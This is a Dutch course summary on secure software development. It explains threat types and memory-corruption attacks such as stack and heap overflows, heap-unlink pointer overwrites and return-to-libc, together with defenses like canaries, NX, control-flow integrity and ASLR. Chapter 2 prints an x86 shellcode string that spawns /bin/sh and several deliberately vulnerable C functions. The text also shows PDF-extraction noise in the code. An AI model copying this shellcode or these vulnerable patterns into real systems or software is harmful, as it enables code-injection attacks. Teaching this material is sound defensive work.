Ontwikkeling van Veilige Software (B-KUL-H04K5A)

Transcriptie

1 Ontwikkeling van Veilige Software (B-KUL-H04K5A) Professoren Frank Piessens Auteurs Dieter Castel Jonas Devlieghere Bijdragers Tibol Leemans Neline van Ginkel

2 ii

3 Inhoudsopgave 1 Uitdagingen veilige software Motivatie Lessen uit het verleden Web gerelateerde bedreigingen Conclusie Doelen en concepten Bedreigingen en veiligheidsdoelen Kwetsbaarheden Tegenmaatregelen Toepassingen Low-Level softwarebeveiliging Introductie Achtergrond informatie Aanvalsvoorbeelden Stack-based buffer overflow Heap-based buffer overflow Return-to-libc attacks Data-only attacks Verdedigings voorbeelden Stack canaries Non-executable data Control-flow integrity Layout randomization Conclusie Authenticatie en toegangscontrole Inleiding Algemeen model Principal Guard Klassieke modellen toegangscontrole Discretionary Access Control (DAC) Mandatory Access Control (MAC) Role-Based Access Control (RBAC) iii

4 iv INHOUDSOPGAVE Andere modellen voor toegangscontrole Toegangscontrole voor code Terminologie Stack Walking Conclusie Windows toegangscontrole en authenticatie Logon Session Access Token Windows Security Descriptor Caching Toegangcontrole in applicaties Running least privilege Windows Vista s integriteitsbescherming Webapplicaties Het webplatform HTTP De browser Bedreigingsscenario s Scenario s Kwetsbaarheden en maatregelen Session handling Clickjacking SQL injectie Scripts Andere Conclusies Conclusie Beveiliging in de softwarecyclus Bedreigingsmodellering Define Use Scenarios List External Dependencies Define Security Assumptions Create External Security Notes Model the Application Determine Threat Types Identify Threats Determine Risk Plan Mitigations Principes, patronen en richtlijnen Principes Patronen Richtlijnen Conclusie

5 Preface This document features a concise summary (in Dutch) of the slides from the Course Secure Software Development (Ontwikkeling van Veilige Software) by Professor Frank Piessens. The homepage of the course is located at The source and latest version of this document is located at OVS/. We encourage future readers to contribute to the development of this document. This document is provided as is, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with this document or the use or other dealings in this document. v

6 vi INHOUDSOPGAVE

7 Hoofdstuk 1 Uitdagingen veilige software 1.1 Motivatie De laatste jaren zien we een enorme toename in de aanwezigheid van hard- en software. Zo waren er in 2003 al 670 miljoen computers, in 2005 reeds twee miljard mobiele telefoons en meer dan tien miljard smart cards. Daarnaast merken we dat we meer en meer afhankelijk worden van software met de opkomst van E-services zoals E-business, E-government en E-health. Gelijklopend merken we een toename van connectiviteit. Meer en meer apparaten zijn verbonden met het internet, al dan niet draadloos. Deze opkomst zorgt ervoor dat applicaties soms door miljoenen gebruikers tegelijk worden gebruikt. Dergelijke webapplicaties, zoals de services geleverd door Amazon en Google vormen momenteel één van de belangrijkste klasse applicaties. Tenslotte merken we dat computers meer en meer ondersteuning bieden voor software van derde partijen. Hoewel dit één van de succesfactoren was voor het succes van de personal computer, speelde dit ook een sleutelrol in veel van diens veiligheidsproblemen. Embedded devices (telefoons, auto s, set-top boxes) bieden vaak de mogelijkheid om software te installeren wat leidt tot een zeker risico wat veilige software betreft Lessen uit het verleden Uit het verleden hebben we volgende lessen kunnen trekken: Ondersteuning voor softwaremobiliteit verhoogt het risico. bv. virussen (= codefragment dat andere programma s kan infecteren) Softwaremobiliteit + connectiviteit: nog erger! bv. wormen (= zelf replicerend virus. Verspreidt zich zonder interactie van de gebruiker.) Verbonden applicaties zijn moeilijk te beveiligen. bv defacements, phishing, incidenten 1

8 2 HOOFDSTUK 1. UITDAGINGEN VEILIGE SOFTWARE Web gerelateerde bedreigingen Tot ongeveer 10 jaar geleden richtten aanvallers zich doorgaans op infrastructurele software zoals besturingssystemen of servers. Met de toename in verbondenheid zien we dat aanvallen zich vaker en vaker richten op webapplicaties. Hier volgen enkele nieuwe trends die dit met zich mee heeft gebracht. Defacement Defacement is vergelijkbaar met grafitti op het internet. De aanvaller wijzigt of vervangt de webpagina om zijn aanwezigheid kenbaar te maken. Phishing Phishing is een combinatie van social engineering en spoofing. Het doel is het stelen van persoonlijke data zoals bankgegevens. Met deze gegevens kan de aanvaller toegang krijgen tot applicaties onder de naam van het slachtoffer. Drive-By-Downloads Kwaadwillige webservers maken gebruik van kwetsbaarheden om malware te installeren op de computer van de gebruiker. Tracking Allerhande technieken die worden gebruik om bezoeken aan websites te correleren aan een gebruiker. Naast bovenvermelde bedreiging doen zich dagelijks incidenten voor op het internet. Enkele voorbeelden zijn het lekken van kredietkaart gegevens, klanten die producten aan een fractie van de prijs kopen of gedistribueerde Denial of Service aanvallen die websites onbruikbaar maken door deze te flooden met requests. Browser De browser moet HTML weergeven, JavaScript en plugins uitvoeren en verschillende protocols en API s ondersteunen. Elk van deze taken brengt een risico met zich mee. Bovendien dient de browser isolatie te voorzien tussen inhoud van verschillende bronnen. De browser gedraagt zich als een soort besturingssysteem voor de webomgeving. HTTP Hoewel dit een eenvoudig protocol is laat het toe arbitrair complexe dingen te doen. Het is standaard stateless maar er zijn verschillende mechanismen om dit te veranderen. Daarnaast stelt men een snelle toename van header-velden vast die elk hun eigen standaard vereisten. Dit is slechts één van de vele web protocols Conclusie Verschillende niet te stoppen trends zoals de toename van computers, connectiviteit, ondersteuning voor softwaremobiliteit en de wereldwijde beschikbaarheid van applicaties maken twee vragen zeer relevant: Hoe ontwikkelen we een veilig systeem voor computers? Hoe ontwikkelen we veilige applicaties?

9 1.2. DOELEN EN CONCEPTEN Doelen en concepten Software doet vaak dienst als een enabler van functionaliteit, maar nieuwe functionaliteit komt met een zeker risico. Beveiliging draait rond het beheren van dit risico Bedreigingen en veiligheidsdoelen Op het eerste zicht zijn bedreiging en veiligheidsdoelen elkaars ontkenning. Een veiligheidsdoel is een intentieverklaring om gekende bedreigingen tegen te gaan. Een bedreiging is een intentie van een agent om een doelstelling van de verdediger te breken. Een lijst met bedreigingstypes en de bijhorende veiligheidsgerelateerde doelen: Information disclosure Het lekken van informatie naar de bedreigingsagent die geen toegang hoort te hebben tot deze informatie. Een voorbeeld hiervan is het stelen van kredietkaartnummers. Data Confidentiality Het beschermen van de data tegen het ongeautoriseerd lezen ervan. Access Control Het voorkomen van ongeautoriseerde toegang tot softwareonderdelen. Information tampering De bedreigingsagenten knoeien met data waarvan zij het recht niet hebben om deze te wijzigen. Een voorbeeld is het aanpassen van de prijzen van gekochte goederen. Data Integrity Beschermen van data tegen ongeautoriseerd schrijven. Data Origin Authentication Verifiëren van de geclaimde identiteit van de verzender van een bericht. Access Control Het voorkomen van ongeautoriseerde toegang tot softwareonderdelen. Repudiation Het ontkennen van betrokkenheid bij een gebeurtenis door de bedreigingsagent. Een voorbeeld is het ontkennen van het plaatsen van een aandelenorder. Non-Repudiation Verstrekken van onweerlegbaar bewijs over wat gebeurt is en wie of wat daarbij betrokken was. Audit Chronologische verslag van systeemactiviteiten om toe te laten gebeurtenissen te reconstrueren. Denial of Service De bedreigingsagent vernietigt de bruikbaarheid van een systeem voor legitieme gebruikers. Bijvoorbeeld door een gedistribueerde flood attack. Availability Waarborgen van beschikbaarheid van het systeem voor legitieme gebruikers.

10 4 HOOFDSTUK 1. UITDAGINGEN VEILIGE SOFTWARE Elevation of privilege De bedreigingsagent krijgt meer toegang tot informatie, communicatie of rekenmiddelen dan waartoe hij is geautoriseerd. Een voorbeeld hiervan is het verkrijgen van root privileges. Access Control Het voorkomen van ongeautoriseerde toegang tot softwareonderdelen. Entity Authentication Verifiëren van de geclaimde identiteit van de partij waarmee er interactie plaatsvindt. Spoofing De bedreigingsagent doet zich voor als iets of iemand die hij niet is. Een voorbeeld hiervan is phishing. Entity Authentication Verifiëren van de geclaimde identiteit van de partij waarmee er interactie plaatsvindt. Data Origin Authentication Verifiëren van de geclaimde identiteit van de verzender van een bericht Kwetsbaarheden Een kwetsbaarheid is een een aspect van een component of systeem dat een bedreigingsagent toelaat om een bedreiging te realiseren. Dit betekent dat kwetsbaarheden relatief zijn ten opzichte van de agent. Zo kan een systeem bijvoorbeeld niet kwetsbaar zijn voor een buitenstaander maar wel voor een insider. Bovendien komen kwetsbaarheden voor in verschillende lagen van het software systeem. Kwetsbaarheden ontstaan door fouten bij de: Vereisten Niet slagen in het identificeren van alle relevante assets of bedreigingen. Het verhinderen van downloaden van kwaadaardige code werd niet gezien als een vereiste voor besturingssystemen in de jaren 80. Constructie Kwetsbaarheden in veiligheidscomponenten Een zwak cryptografisch algoritme Kwetsbaarheden in functionaliteit Buffer overflows, SQL injection Werking Kiezen van een foute policy

11 1.3. TOEPASSINGEN Tegenmaatregelen Tegenmaatregelen worden gedefinieerd als het mechanisme om kwetsbaarheden te reduceren en daarbij doelstellingen te realiseren en bedreigingen te verijdelen. Tegenmaatregelen kunnen op drie manieren worden genomen: Preventief om een kwetsbaarheid te voorkomen. Opsporend om een kwetsbaarheid en dienst uitbuiting op te sporen. Reactief om een incident af te handelen. Zowel de software ingenieur die de software ontwerpt als de beheerder die de software uitrolt kunnen tegenmaatregelen nemen. Software ingenieur Om kwetsbaarheden die ontstaan tijdens de vereistefase tot het minimum te beperken, kan de ingenieur veiligheidsvereisten en bedreigingen modelleren en analyseren. Deze kunnen dan worden voorkomen door gebruikt te maken van beveiligingstechnologie n zoals cryptografie, toegangscontrole, authentificatie. Voor kwetsbaarheden die ontstaan tijdens de ontwikkeling, kan gebruik gemaakt worden van secure programming, static analysis en veilige talen. Kwetsbaarheden tijdens de uitvoering kunnen worden voorkomen door goede documentatie, veilige standaardwaarden en operationele procedures. Administrator Preventieve tegenmaatregelen kunnen door de beheerder worden genomen door kwetsbaarheden te verhelpen en bijkomende beveiliging te voorzien zoals firewalls en VPN s. Opsporende tegenmaatregelen kunnen bestaan uit het voorzien van Intrusion of Fraud Detection software. Het de taak van de beheerder om beveilingsoplossingen te voorzien om reactieve tegenmaatregelen te ondersteunen. 1.3 Toepassingen Het beveiligen van software komt neer op het reduceren van het aantal kwetsbaarheden. Hierbij geven we voorkeur aan diegenen die het grootste risico vormen. Het is daarom van belang een idee te hebben welke kwetsbaarheden het meest relevant zijn in de realiteit. Verschillende websites bieden een overzicht van kwetsbaarheden met statistieken, abstracties en gekende varianten. The Common Vulnerabilities and Exposures dictionary The Common Weaknesses Enumeration The Open Web Application Security Project Aan de hand van statistieken over 2001 t.e.m merken we dat de top 3 bestaat uit: Buffer overflow SQL injection

12 6 HOOFDSTUK 1. UITDAGINGEN VEILIGE SOFTWARE Cross site scripting We kunnen bovendien vaststellen dat 8/10 van de kwetsbaarheden te maken hebben met het valideren van in- en uitvoer en defensief programmeren. Dit betekent dat softwarebeveiliging sterk gekoppeld is aan softwarekwaliteit. Een tweede vaststelling is dat 2/3 van de kwetsbaarheden zich in de applicatielaag bevindt. Het aandeel hiervan is alleen maar toegenomen in de laatste jaren. Het beveiligen van applicaties zal dan ook centraal komen te staan de komende jaren. Tenslotte merken we op dat kwetsbaarheden in termen van populariteit komen en gaan. beveiligen van software is dan ook een voortdurend proces. Het

13 Hoofdstuk 2 Low-Level softwarebeveiliging 2.1 Introductie Een implementation-level software vulnerability is een fout in een programma die door een aanvaller kan worden misbruikt. In dit hoofdstuk hebben we het concreet over memory corruption vulnerabilies. Deze zwakheden zijn enkel relevant voor onveilige talen. Dat zijn programmeertalen die niet controleren of programma s het geheugen correct gebruiken. Hieronder staat een voorbeeld in ANSI C in listing 2.1. Omdat er nergens de lengte van de input argumenten wordt nagekeken kan men in geheugen schrijven waar dat niet zou mogen. Op die manier kan er arbitraire code worden uitgevoerd (een code injection attack). 1 int u n s a f e ( char a, char b ) { 2 char t [MAX LEN ] ; // A l l o c a t e memory f o r MAX LEN chars f o r v a r i a b l e t 3 s t r c p y ( t, a ) ; // copy s t r i n g a i n t o t 4 s t r c a t ( t, b ) ; // concatenate b to t h e end o f t 5 return strcmp ( t, abc ) ; // r e t u r n t h e r e s u l t o f comparison 6 } code//intro example.c Achtergrond informatie Er kan op verschillende manieren geheugen gealloceerd worden in C: Automatisch via locale variablen in functies. Statisch via globale variablen. Dynamisch via void *malloc(size_t size); en new. De programmeur is verantwoordelijk voor dit geheugenbeheer van het alloceren tot het de-alloceren. Figuur 2.1 geeft de process memory layout weer van een programma. Hierbij groeit de heap naar boven (hogere adressen) en de stack naar onder (lagere adressen). Indien de voorbeeld code 2.1 wordt geëxploiteerd bevind de geinjecteerde code zich in de Stack. Memory management in C is zeer fout-gevoelig typische bugs zijn o.a.: Writing past the bound of array (zoals in listing 2.1) 7

14 8 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Figuur 2.1: Typische geheugen layout met bovenaan hoge adressen. De stack groeit van hoge naar lage adressen en de heap van lage naar hoge adressen.

15 2.2. AANVALSVOORBEELDEN 9 Dangling pointers (pointers die niet naar een geldig object wijzen.) Double freeing (Twee keer free() aanroepen zodat nog gebruikt geheughen als ongebruikt wordt gemarkeert). Memory leaks (Stukken geheugen zijn niet correct vrijgegeven.) Om efficiëntie redenen worden deze fouten in C niet at run time gededecteert. Om onveilige code aan te vallen moet een aanvaller hetvolgende doen: Een bug vinden die memory safety breekt. Buffer overflow Dereference van dangling pointer Gebruik van onveilige API functie. Die ofwel een buffer overflowt (e.g. strcpy() ofwel intrinsiek onveilig geimplementeerd is in assembly (e.g. printf() Een interessante geheugenplaats vinden om te overschrijven. Code adressen/pointers: Return address, Function pointer in Virtual function table, Programma specifieke fuction pointers Pointers waar de aanvaller kan controleren wat er wordt geschreven als die dereferenced raakt (= Indirect pointer overwrite): redirect de pointer naar een andere interessante locatie en schrijf dan daar een zekere waarde. Aanvalscode in het geheugen van het process plaatsen. 2.2 Aanvalsvoorbeelden Stack-based buffer overflow De stack is een geheugengebied dat wordt gebruikt om functie-oproepen en returns at run time te beheren. Per oproep wordt er een activation record of stack frame op de stack gepusht. Daarin zitten parameters, return address, lokale variablen,... Het is eenvoudig in te zien dat als er nu een lokale variable kan worden overflowt dat er interessante geheugenplaatsen ter beschikking komen. In de onderstaande figuren leggen we een typisch Stack Based Buffer Overflow uit. Opgelet: ook hier weer veronderstellen we dat bovenaan hoge addressen staan en dus overflowt een buffer naar boven. In figuur 2.3 tonen we een normale (niet aangevallen) stack waarbij het laatste stackframe dat van functie f0 is. De instructiepointer (IP) aan het begin van f0 staat en de (Saved) Frame Pointer ((S)FP) en Stack Pointer (SP) staan aangeduid. Vervolgens in figuur?? wordt functie f1 opgeroepen. Een nieuw stackframe wordt op de stack gepusht. Let erop dat in dit frame het return address nu wijst naar code net onder de call naar f1. De SFP wijst naar het frame van f0 en er daarachter plaats is voorzien voor de lokale variable buffer[]. De stackpointer wijst natuurlijk net voorbij het frame van f1. In deze figuur wordt de overflow aangeduid. Als er geen bounds check gebeurd kan de buffer blijven groeien en zo eerst de SFP, en dan het return address overschrijven. Door nu in het buffer uitvoerbare code te steken en het return address naar die code te doen verwijzen kan het

16 10 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Figuur 2.2: Stack layout als de laatst opgeroepen functie f0 is. Figuur 2.3: Stack layout na call van functie f1.

17 2.2. AANVALSVOORBEELDEN 11 Figuur 2.4: Stack layout na buffer overflow attack op de lokale variable buffer in functie f1. programma volledig worden gecontroleerd. Het voorbeeld uit de introductie (zie listing 2.1) is een goed voorbeeld van een programma kwetsbaar voor een buffer overflow attack. Code die vaak wordt gebruikt om te injecteren is het starten van een nieuwe shell. Om dit te doen wordt er zogenaamde shellcode gebruikt. Dit is een string van hexadecimale codes die dan worden geinterpreteerd als programma code. Hieronder vind u een voorbeeld die op Linux systemen met een intel x86 architectuur kan gebruikt worden om de sh shell te starten. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e \x08\x8d\x56\x0c\xcd \x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xffbin/sh" Om een stack based buffer overflow werkend te krijgen zijn er heel veel details waar de aanvaller rekening mee moet houden Heap-based buffer overflow Soms bevatten programma s enkel een overflowbare buffer die op de heap gealloceerd is. Bijvoorbeeld globaal gedeclareerde structuren. Aangezien die zich niet op de stack bevinden is er geen return address in de nabijheid. Wel zijn er andere manieren om toch een succesvolle code injection aanval te doen waarvan we er hier twee bekijken: overschrijven van een function pointer en het overschrijven van heap metadata.

18 12 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING geheugenplaats (hex) 0x b 0x a 0x x Geheugen waarde (hex) Character (string representatie) n/a f d s Overwriting function pointer Listing toont een programma dat kwetsbaar is voor een heap based buffer overflow door middel van een function pointer te overschrijven. 1 // Declare s t r u c t r e s i d i n g on t h e heap. 2 typedef struct v u l n e r a b l e s t r u c t { 3 char b u f f [MAX LEN ] ; 4 int ( cmp) ( char, char ) ; 5 } v u l n e r a b l e ; 6 7 int i s f i l e f o o b e r u s i n g h e a p ( v u l n e r a b l e s, char one, char two ) { 8 // must have s t r l e n ( one + s t r l e n ( two ) < MAX LEN) 9 s t r c p y ( s >buff, one ) ; 10 s t r c a t ( s >buff, two ) ; 11 return s >cmp( s >buff, f i l e : / / f o o b a r ) ; 12 } code//heapbo.c Figuur 2.5 toont hoe de vulnerability wordt uitgebuit. In (a) zien we de opeenvolgende adressen van de struct en de waardes die ze initieel krijgen toegekend. In (b) zien we hoe er een overflow kan worden gerealiseerd die cmp overschrijft. Let hierbij op het feit dat de waardes in Little Endian worden opgeslagen. Dit betekend dat de eerste byte van een geheugenlocatie de meest rechtse positie krijgt. We kunnen dit makkelijk zien door het einde van het voorbeeld (b) te bekijken. De laatste drie characters van de string zijn sdf. We weten dat s overeenkomt met het hexadecimale 73, d met 64 en f met 66. Als we nu naar de geheugen locatie van cmp (0x ) kijken dan vinden we daar 0x Tabel Overwriting heap metadata De heap wordt gebruikt om dynamisch gealloceerde data op te slaam. Met functies zoals malloc() worden er dynamisch geheugenblokken gealloceerd en gedealloceerd met free(). De meest memory allocation libraries onthouden metadata voor of achter gebruikte blokken. Een gevolg daarvan is dat buffer overruns op de heap deze management informatie kunnen overschrijven. Dit maakt een indirect pointer overwrite aanval mogelijk. Om de aanval te begrijpen kijken we eerst naar hoe de heap er uit ziet in het normale geval. In figuur 2.6 vinden we hoe een gebruikt blok en een leeg blok eruit zien. De lege blokken worden onthouden door ze als dubbel gelinkte lijst te gebruiken. Achteraan elk blok wordt een backward pointer, forward pointer en wat andere informatie (groote bvb) bijgehouden. Als een blok gebruikt wordt dan wordt het uit de lijst gehaald door de backward pointer twaalf plaatsen verder te schrijven dan naar waar de forward pointer wijst (en omgekeerd voor de forward pointer). Het idee is nu om dit feit uit te buiten door het unlink mechanisme te gebruiken om het return address van een functie op de stack te vervangen. In figure 2.9 wordt er in blok d een buffer geoverflowt zodat de forward en backward pointer van c kunnen overschreven worden. Concreet gebeurdt

19 2.2. AANVALSVOORBEELDEN 13 Figuur 2.5: Stack layout na buffer overflow attack op de lokale variable buffer in functie f1. Figuur 2.6: Normaal geval in de heap als het lege blok c wordt gebruikt en dus unlinked wordt van de double linked list met vrije blokken.

20 14 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Figuur 2.7: Buffer overflow op de heap in actie. Een buffer in blok d wordt overflowt (naar boven in deze figuur) tot in het lege blok c. dat door de backward pointer (groen) te doen wijzen naar in de buffer waar de geinjecteerde code staat. De forward pointer van c moet dan wijzen naar twaalf plaatsen onder (er wordt immers bij het unlinken twaalf plaatsen hoger geschreven) het return address (RA) van een functie. Het eigenlijke resultaat is dat te bezichtigen in Van zodra blok c wordt gebruikt zal de aanval opgezet zijn. Het return address van een zekere functie zal dan immers wijzen naar de geinjecteerde code. Van zodra die functie dan returnt zal bijvoorbeeld de shell code worden uitgevoerd. Deze aanval wordt ook wel een indirect pointer overwrite genoemd. De aanval is breed inzetbaar in verschillende situaties. Een programma is kwetsbaar voor zo n aanval als het drie elementen bevat: Een bug die toelaat een pointer te overschrijven. Die pointer wordt later gedereferenced om te schrijven. En de waarde die geschreven wordt kan worden gecontroleerd door de attacker Return-to-libc attacks Tot nu toe hebben we altijd rechtstreek code kunnen injecteren in een buffer. Dit is niet altijd mogelijk aangezien er een countermeasures kunnen genomen worden om dit te voorkomen. Wel bestaan er dan Indirect code injection attacks die het programma sturen door het manipuleren van de stack. Dit maakt het mogelijk om stukken code uit te voeren die al in het geheugen zitten en meestal is er zo n code beschikbaar bvb. libc.

21 2.2. AANVALSVOORBEELDEN 15 Figuur 2.8: Resultaat van een indirect pointer overwrite door middel van een buffer overflow op de heap. Figuur 2.9: Buffer overflow op de heap in actie. Een buffer in blok d wordt overflowt (naar boven in deze figuur) tot in het lege blok c.

22 16 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Figuur 2.10: Figuur 2.11: Stack als functie f2 gaat returnen. De Stack Pointer (SP) en Instruction Pointer (IP) zijn aangeduid.

23 2.2. AANVALSVOORBEELDEN 17 Figuur 2.12: Stack als functie f2 gereturned heeft en enkel nog het f1 stackframe op de stack staat. Figuren 2.11 en 2.12 tonen hoe het returnen uit een functie de stack beinvloed. Aangezien we de werking van de stack begrijpen kunnen we dit gebruiken om de stack na te bootsen. Een nagebootste stack kan gewoon in een buffer wordten opgeslagen. De fake stack kan bijvoorbeeld een functie aanroepen die een shell start of het mogelijk maakt om andere code rechtstreeks te injecteren. Vervoglens moeten we de SP doen wijzen naar de fake stack net voor de return instructie van de actieve functie wordt uitgevoerd. Hiervoor wordt er vaak eerst naar trampoline code gesprongen die dan de stackpointer van locatie kan veranderen afhankelijk van het geinjecteerde address. We bekijken het geval uit listing In figuur 2.13 vinden we de assembler code van de qsort functie. Let er op dat het register ebx net voor de call op de stack wordt gepusht en dat daarin het address van waar we de nieuwe stack gezet hebben zit. Als de call instructie wordt uitgevoerd wordt er naar locatie 0x7c gesprongen. Op locatie 0x7c vinden we de assembler code in figuur??. Dit is de trampoline code die gebruikt wordt om de stack pointer te verplaatsen. Deze code bevind zich ergens in het geheugen en komt hier uitstekend van pas om de libc attack uit te voeren. Aangezien in register ebx nog het gewilde address zit wordt de stack pointer (esp) nu verplaatst naar ebx wat dus in ons geval de tmp buffer betekent. Verder wordt er nu een return (ret) gedaan en dus begint het stack-unwinden. Op deze valse stack kan nu elke mogelijke functie met gewilde argumenten worden gezet. Meer uitleg volgt mogelijk nog 1 int median ( int data, int len, void cmp ) { 2 // must have 0<l e n <= MAX INTS 3 int tmp [MAX INTS ] ; 4 memcpy(tmp, data, l e n s i z e o f ( int ) ) ; // copy t h e i n p u t i n t e g e r s 5 q s o r t (tmp, len, s i z e o f ( int ), cmp) ; // s o r t t h e l o c a l copy 6 return tmp [ l e n / 2 ] ; 7 } code//libc.c

24 18 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Figuur 2.13: Gedeeltelijke assembler voorstelling van de qsort functie. Het register ebx geven we als waarde de start van de tmp buffer. En comp fp moet de waarde 0x7c hebben zodat er naar de trampoline code wordt gesprongen. Figuur 2.14: De trampoline code die gebruikt wordt om de stack pointer naar het gewilde address te verplaatsen en dan een eerste keer te returnen. Deze code bevint zich ergens in het geheugen en als het address geweten is kan die dus worden misbruikt. Figuur 2.15: De stack zoals die eruit ziet in de median functie.

25 2.2. AANVALSVOORBEELDEN 19 Figuur 2.16: Voorbeeld van onveilig password checking programma Data-only attacks Dit soort aanvallen bestaat erin enkel de data van een programma te veranderen. Afhankelijk van die data kan dit tot interessante exploits leiden. We bekijken er hier twee: Unix password attack en overwriting the environment table. Unix password attack In figuur?? staat een voorbeeld van een programma dat op een onveilige manier een wachtwoord controleert. In een oude versie van Unix werd dit gebruikt maar dit is eenvoudig te omzeilen. Als er immers een wachtwoord wordt ingegeven dat bestaat uit pw hash(pw) en het pw is lang genoeg dan overflowt het wachtwoord in de hash. Bijgevolg zal er altijd toegang worden verschaft. Overwriting the environment table Doordat er soms assumpties worden gemaakt over de environment table door de programmeur kan dit worden uitgebuit. In figuur?? zien we kwetsbare code. De waarde achter de environment variable SAFECOMMAND wordt met een system call uitgevoerd. Maar aangezien we de offset van de data buffer en zijn waarde kunnen bepalen kunnen we in een (bijna) arbitraire geheugenlocatie schrijven en dus de waarde horend bij SAFECOMMAND veranderen in value. 1 void run command with argument ( p a i r s data, int o f f s e t, int value ) { 2 // must have o f f s e t be a v a l i d index i n t o data 3 char cmd [MAX LEN ] ; 4 data [ o f f s e t ]. argument = value ; 5 { 6 char v a l u e s t r i n g [MAX LEN ] ; 7 i t o a ( value, v a l u e s t r i n g, 10 ) ; 8 s t r c p y ( cmd, getenv ( SAFECOMMAND ) ) ; 9 s t r c a t ( cmd, ) ; 10 s t r c a t ( cmd, v a l u e s t r i n g ) ; 11 } 12 data [ o f f s e t ]. r e s u l t = system ( cmd ) ; 13 }

26 20 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Figuur 2.17: Stack layout met canary als er een overflow gebeurdt is. code//dataonly.c 2.3 Verdedigings voorbeelden Stack canaries Het idee van een stack canary is vrij eenvoudig en tegelijk behoorlijk effectief. Net voor elke base pointer of return address wordt een zeker waarde in het stack frame geplaatst. Elke keer er nu een return gebeurdt wordt de waarde gecontroleerd of die al dan niet verandered is. Die waarde noemen we dan een canary, genoemd naar de canaries die werden gebruikt in de koolmijnen om giftige gassen vroegtijdig te ontdekken. In figuur 2.17 wordt er getoond hoe een overflow met een Canary eenvoudig kan worden gededecteert Non-executable data Direct code injection aanvallen voeren een bepaald stuk code uit dat op de stack staat. De meeste normale programmas doen dit echter zelden dus een countermeasure kan erin bestaan om de heap en stack volledig als non-executable data te markeren. Dit voorkmont dan direct code injection maar

27 2.4. CONCLUSIE 21 Figuur 2.18: Afbeelding die Control Flow Integrety met labels illustreert. geen data-only attacks of return-into-libc. Bovendien kan het zijn dat bepaalde legacy programmas hier wel op steunen en dus met deze maatregel niet meer werken Control-flow integrity De meeste aanvallen die we bespraken breken de control flow zoals die gecodeerd is in de broncode. Een mogelijke countermeasure is dus het controleren dat de control-flow gezond blijft at runtime. Dit kan er bijvoorbeeld in bestaan om te controleren dat een functie altijd terugspringt naar van waar hij is opgeroepen. Andere mogelijkheden kunnen erin bestaan expliciet te controleren of pointers een geldige mogelijke waarde hebben. Dit kan eenderzijds expliciet in de programma broncode worden gedaan. Anderzijds kan er een control-flow graph worden opgezet die gelinkt is aan mogelijke labels naar waar een call kan springen of kan van returnen. Met deze graph kan er dan dynamisch code geinserteerd worden die controleert of elke sprong geldig is door de labels na te kijken. Een voorbeeld daarvan is te vinden in figuur Layout randomization De meeste van deze low-level aanvallen steunen op kennis van run time memory adressen. Door artificiele variatie in deze adressen te introduceren verhoogt de moeilijkheid voor deze aanvallen aanzienlijk. Zo n Adress Space Layout Randomization (ASLR) is een goedkope en effectieve countermeasure tegen dergerlijke aanvallen. 2.4 Conclusie Door het implementeren van de countermeasures is er een soort arms-race ontstaan tussen aanvallers en verdedigers. Countermeasures zijn zelden perfect en de aanvallers bedenken nieuwe manieren om die te omzeilen. Hoewel het met de countermeasures veel moeilijker is om in C-family talen dergerlijke aanvallen te doen is het van security standpunt veiliger om over te stappen naar safe languages (bvb. Java of C#). Een samenvatting van hoe de countermeasures die we bespraken de aanvallen (trachten) te voorkomen vind u in tabel 2.1.

28 22 HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Return address corruption Heap Function pointer corruption Jump-to-libc Non-control data Stack Canary Partial defense n/a Partial defense Partial defense Control-flow Partial defense Partial defense Partial defense integrety Control-flow Partial defense Partial defense Partial defense integrety Address Space Partial defense Partial defense Partial defense Partial defense Layout Randomization Tabel 2.1: Overzicht van aanvallen en verdedigings mechanismes voor low-level attacks. De besproken automatische verdedigingsmechanismes zijn maar een deel van het beveiligen van C software. Andere onderdelen zijn o.a.: Threat modeling, Code Review en Security Testing.

29 Hoofdstuk 3 Authenticatie en toegangscontrole 3.1 Inleiding Beveiliging is het voorkomen en opsporen van ongeautoriseerde gebeurtenissen met betrekking tot informatie. We kunnen twee belangrijke gevallen onderscheiden: Een aanvaller heeft toegang tot de bits die de informatie voorstelt. Hier is nood aan cryptografische technieken. Er bevindt zich een softwarelaag tussen de aanvaller en de informatie. toegangscontrole. Hier is nood aan Algemeen model Een algemeen model voor toegangscontrole bestaat uit volgende elementen: Principal, Action, Guard en Protected System Principal Principal Action Guard Protected System Host Packet send Firewall Intranet User Open File OS Kernel File System Java Program Open File Java Security Manager File User Query DBMS Database User Get page Web Server Web Site Authenticatie bestaat uit het verifiëren van de geclaimde identiteit van een entiteit (de principal) waarmee de guard interageert. Deze entiteit kan een menselijke gebruiker zijn, een computer, een gebruiker op een andere computer of een gebruiker die een specifiek stuk code uitvoert. Afhankelijk van de entiteit is er nood aan een andere oplossing. We beperken ons hier tot het geval waarbij de principal een gebruiker is. De authenticatie kan bestaan uit het kennen van een geheim (paswoord of PIN), uit het bezitten van een fysieke eigenschap (biometrie) of door in het bezit te zijn van een token (smartcard, 23

